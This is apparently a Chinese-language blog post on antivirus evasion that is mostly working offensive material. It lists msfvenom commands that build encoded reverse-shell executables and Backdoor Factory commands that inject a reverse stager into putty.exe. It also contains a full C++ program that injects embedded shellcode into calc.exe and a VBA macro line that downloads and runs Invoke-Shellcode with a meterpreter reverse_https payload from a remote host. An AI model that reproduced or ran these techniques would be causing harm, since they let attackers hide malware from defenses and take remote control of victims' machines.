kali@kali:~$ msfvenom -l encoder Framework Encoders [--encoder <value>] ====================================== Name Rank Description ---- ---- ----------- cmd/brace low Bash Brace Expansion Command Encoder cmd/echo good Echo Command Encoder cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder cmd/ifs low Bourne ${IFS} Substitution Command Encoder cmd/perl normal Perl Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder generic/eicar manual The EICAR Encoder generic/none normal The "none" Encoder mipsbe/byte_xori normal Byte XORi Encoder mipsbe/longxor normal XOR Encoder mipsle/byte_xori normal Byte XORi Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder ruby/base64 great Ruby Base64 Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x64/xor_context normal Hostname-based Context Keyed Payload Encoder x64/xor_dynamic normal Dynamic key XOR Encoder x64/zutto_dekiru manual Zutto Dekiru x86/add_sub manual Add/Sub Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolower manual Avoid underscore/tolower x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/bmp_polyglot manual BMP Polyglot x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/opt_sub manual Sub Encoder (optimised) x86/service manual Register Service x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder x86/xor_dynamic normal Dynamic key XOR Encoder 使用模板和編碼器 for example: msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 -platform win -f exe > b.exe
Veil中的加密:
schelper:
Obfuscation:
Invoke-Obfuscation -ScriptBlock {echo xss} -Command 'Encoding\1,Launcher\PS\67' -Quiet
關於shellcode編碼后執行就點到這里,其他語言也是大同小異,就不多列舉了。
上面是一些編碼加密shellcode,下面就看看shellcode注入的技巧方式。
B)shellcode注入混淆
大多數注入免殺還將shellcode進行了拆分。
拆分這兩個字也很好理解,字面的意思上和各位php一句話木馬免殺中大體一樣,shellcode也好比我們php木馬中需要拆分的危險函數名。
shellcode拆分可以把原本特征明顯的程序中shellcode進行位置替換,最簡單的比如新增加區段填入shellcode並將入口點jmp到shellcode地址最后再跳回原程序開頭,
也可以將shellcode分段布在各個code cave中再分段執行,原理可以參考egg hunt shellcode的中的Omelet Shellcode。
舉一些注入例子:
BDF:
https://github.com/secretsquirrel/the-backdoor-factory
*] In the backdoor module [*] Checking if binary is supported [*] Gathering file info [*] Reading win32 entry instructions [*] Loading PE in pefile [*] Parsing data directories [*] Looking for and setting selected shellcode [*] Creating win32 resume execution stub [*] Looking for caves that will fit the minimum shellcode length of 410 [*] All caves lengths: 410 ############################################################ The following caves can be used to inject code and possibly continue execution. **Don't like what you see? Use jump, single, append, or ignore.** ############################################################ [*] Cave 1 length as int: 410 [*] Available caves: 1. Section Name: DATA; Section Begin: 0x5df200 End: 0x665400; Cave begin: 0x65ea07 End: 0x65ec68; Cave Size: 609 3. Section Name: .rdata; Section Begin: 0x66a000 End: 0x66a200; Cave begin: 0x66a013 End: 0x66a200; Cave Size: 493 4. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8203f End: 0xc82308; Cave Size: 713 5. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc82e1c End: 0xc83050; Cave Size: 564 6. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc830eb End: 0xc83718; Cave Size: 1581 7. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc83b64 End: 0xc840fc; Cave Size: 1432 8. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc843ff End: 0xc846c8; Cave Size: 713 9. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc851dc End: 0xc85410; Cave Size: 564 10. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc854ab End: 0xc859d0; Cave Size: 1317 11. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86557 End: 0xc86b84; Cave Size: 1581 12. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86fd0 End: 0xc87568; Cave Size: 1432 13. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8760a End: 0xc87a32; Cave Size: 1064 14. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc886af End: 0xc88d58; Cave Size: 1705 15. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8b8b3 End: 0xc8bdd8; Cave Size: 1317 16. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8eaba End: 0xc8ed65; Cave Size: 683
BDF中-F參數實現多裂縫注入。
backdoor-factory -f putty.exe -s show
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.15.135 -P 4444
shellter:
A 選項增加區段注入
Avet:
root@kali:/tmp/avet/build# leafpad build_win64_meterpreter_rev_tcp_xor_fopen.sh lhost=192.168.174.134 root@kali:/tmp/avet/build# cd .. root@kali:/tmp/avet# ./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh No Arch selected, selecting Arch: x64 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x64/xor x64/xor succeeded with size 551 (iteration=0) x64/xor chosen with final size 551 Payload size: 551 bytes Final size of c file: 2339 bytes ./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh: line 6: ./make_avet: cannot execute binary file: Exec format error avet.c: In function 'main': avet.c:122:15: error: 'buf' undeclared (first use in this function) shellcode = buf; ^ avet.c:122:15: note: each undeclared identifier is reported only once for each function it appears in
除了也可以手動整個進程注入,起一個正常進程注入shellcode
例子:
#include "stdafx.h" #include <Windows.h> #include<stdio.h> #include "iostream" using namespace std; unsigned char shellcode[] = "\xb8\x72\xd9\xb8\x52\xda\xd8\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1" "\x56\x83\xc2\x04\x31\x42\x0f\x03\x42\x7d\x3b\x4d\xae\x69\x39" "\xae\x4f\x69\x5e\x26\xaa\x58\x5e\x5c\xbe\xca\x6e\x16\x92\xe6" "\x05\x7a\x07\x7d\x6b\x53\x28\x36\xc6\x85\x07\xc7\x7b\xf5\x06" "\x4b\x86\x2a\xe9\x72\x49\x3f\xe8\xb3\xb4\xb2\xb8\x6c\xb2\x61" "\x2d\x19\x8e\xb9\xc6\x51\x1e\xba\x3b\x21\x21\xeb\xed\x3a\x78" "\x2b\x0f\xef\xf0\x62\x17\xec\x3d\x3c\xac\xc6\xca\xbf\x64\x17" "\x32\x13\x49\x98\xc1\x6d\x8d\x1e\x3a\x18\xe7\x5d\xc7\x1b\x3c" "\x1c\x13\xa9\xa7\x86\xd0\x09\x0c\x37\x34\xcf\xc7\x3b\xf1\x9b" "\x80\x5f\x04\x4f\xbb\x5b\x8d\x6e\x6c\xea\xd5\x54\xa8\xb7\x8e" "\xf5\xe9\x1d\x60\x09\xe9\xfe\xdd\xaf\x61\x12\x09\xc2\x2b\x7a" "\xfe\xef\xd3\x7a\x68\x67\xa7\x48\x37\xd3\x2f\xe0\xb0\xfd\xa8" "\x71\xd6\xfd\x67\x39\xb7\x03\x88\x39\x91\xc7\xdc\x69\x89\xee" "\x5c\xe2\x49\x0e\x89\x9e\x43\x98\xf2\xf6\xfa\xdc\x9b\x04\x03" "\xcc\x07\x81\xe5\xbe\xe7\xc1\xb9\x7e\x58\xa1\x69\x17\xb2\x2e" "\x55\x07\xbd\xe5\xfe\xa2\x52\x53\x56\x5b\xca\xfe\x2c\xfa\x13" "\xd5\x48\x3c\x9f\xdf\xad\xf3\x68\xaa\xbd\xe4\x0e\x54\x3e\xf5" "\xba\x54\x54\xf1\x6c\x03\xc0\xfb\x49\x63\x4f\x03\xbc\xf0\x88" "\xfb\x41\xc0\xe3\xca\xd7\x6c\x9c\x32\x38\x6c\x5c\x65\x52\x6c" "\x34\xd1\x06\x3f\x21\x1e\x93\x2c\xfa\x8b\x1c\x04\xae\x1c\x75" "\xaa\x89\x6b\xda\x55\xfc\xef\x1d\xa9\x82\xc7\x85\xc1\x7c\x58" "\x36\x11\x17\x58\x66\x79\xec\x77\x89\x49\x0d\x52\xc2\xc1\x84" "\x33\xa0\x70\x98\x19\x64\x2c\x99\xae\xbd\xdf\xe0\xdf\x42\x20" "\x15\xf6\x26\x21\x15\xf6\x58\x1e\xc3\xcf\x2e\x61\xd7\x6b\x20" "\xd4\x7a\xdd\xab\x16\x28\x1d\xfe"; BOOL injection() { wchar_t Cappname[MAX_PATH] = { 0 }; STARTUPINFO si; PROCESS_INFORMATION pi; LPVOID lpMalwareBaseAddr; LPVOID lpnewVictimBaseAddr; HANDLE hThread; DWORD dwExitCode; BOOL bRet = FALSE; lpMalwareBaseAddr = shellcode; GetSystemDirectory(Cappname, MAX_PATH); _tcscat(Cappname, L"\\calc.exe"); printf("Injection program Name:%S\r\n", Cappname); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (CreateProcess(Cappname, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED , NULL, NULL, &si, &pi) == 0) { return bRet; } lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpnewVictimBaseAddr == NULL) { return bRet; } WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr, (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL); hThread = CreateRemoteThread(pi.hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL); WaitForSingleObject(pi.hThread, INFINITE); GetExitCodeProcess(pi.hProcess, &dwExitCode); TerminateProcess(pi.hProcess, 0); return bRet; } void help(char* proc) { printf("%s:[-] start a process and injection shellcode to memory\r\n", proc); } int main(int argc, char* argv[]) { help(argv[0]); injection(); }
注入就舉例到這里,思考下如果是hook函數的檢測怎么替換呢,可以進行函數替換,比如win api中可以替換VirtuallAlloc的函數就很多:
0x03 技巧組合
上面說了一些技巧,無論是分離中加載器運行shellcode、白利用運行惡意程序,還是將shellcode編碼、加密、注入,對免殺都會有一定效果,單一使用某個技巧的話或多或少會有一定的缺陷。
那么將各個技巧結合起來達到最好的效果是我們需要取思考的事情
舉個好用的例子:
https://github.com/enigma0x3/Powershell-Payload-Excel-Delivery/
這是就是使用shellcode調用graeber的VBA宏,在內存中執行powershell(可以使用編碼),達到后門持久化
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process") objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID
C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden C:\PS> $Proc = Get-Process notepad C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM VERBOSE: Injecting shellcode into PID: 4004 VERBOSE: Injecting into a Wow64 process. VERBOSE: Using 32-bit shellcode. VERBOSE: Shellcode memory reserved at 0x03BE0000 VERBOSE: Emitting 32-bit assembly call stub. VERBOSE: Thread call stub memory reserved at 0x001B0000 VERBOSE: Shellcode injection complete!
技巧方法是死的,思路是活,在實際環境下也需要各位師傅將多個技巧結合靈巧的思路達到想要的成果。
文末推個個人博客,歡迎友鏈
https://www.cnblogs.com/-qing-/
完。